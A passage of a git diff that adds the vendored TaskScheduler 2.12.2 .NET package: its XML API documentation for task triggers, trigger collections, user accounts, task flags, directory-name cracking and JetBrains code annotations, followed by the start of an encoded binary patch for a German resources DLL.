of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + + + diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..cb2f69809536d1a11311140ac0b6539d3b4c60fa GIT binary patch literal 9728 zcmeHMd2|%VnXks&LKrL#0m2jrhz~KAMlu#!z>F9nWF#(0i15JBnyHy-)YC0@_W%;e zR+5dKki<3ybHrX}H;WG(hetLJYiuVWmV<8_9FyenFm^&V4)F!?vd;5{u)nW*dJY|! zxBK?5q^0Vvs_#Cks{5O|Rrj(h7-Rj>E?#8pDLm<#C-0ZObpkwm($mA)lS5vc{FGAr z+T@0qX7g6dj9O}(hg8Eb9o{Usl`yzw@Zgeq9yi0nmzz6uYLfNRD#mJ+E7-Oh;xSL! zyR6^j93_Xb@t7Iv&VDotPmVSZjj<83-_O;XCP;sIb>fbBt(n2Dd0!<|`cFTTLz=?% zAown!&OFBQ2U4fowT`i2-KH*U$Qc`)fjAiBg&AX?BQ`l0|K~W|0F$;t@63xcw$5kS zRtS?)w|VFg(*m@NYaX=sSwc5~D0N*2Ao22?j4oaC7^{?>jN4K2D=yNl9~;0PD}zpO z<`6l{*ip{dFY_2%if3nX?otomEd%nSyT6lH6q_435FP!%+d0OU2JHCo=z{HE`85AN zyLj}WyH*_g&C^f*d8T&qh0pHV**^4Qyd`JPs~7(I;CGEb-u+tty8XX75ZvE5d)0Bc+-~8~E zp-$!%zQeVgrwxNo_z&4d*acB;2rs9|9h@wgo_EnRCa;wyw@ zYo;-$%vVf*MSOljcM_JEV~B)fsd^D#nrPOw&?3>+V73TjPV-GSsW*mhoLMrfv`iG2 z&noOGEMYiWTzJy!g+p!z$>aXle|EU^^$`!>`1+og9)9bwecO&#Z2RDN`!}clc1U69%$gM+oLw~bq z|M>gZ!D(;BcTHE@KKsh)&1c?ztK*4!`}VJ5bJ~k`8**|ga=!*`8`>Rk;Z*Dm@1Vba z0AqQ8AHnz;__qNtY$Hc>F7#`v89#&xM4K zei-zFfOimj+y;ID!2XPJBkkYYzZ304wCBR0o(LkHt8(KYp#H|XP 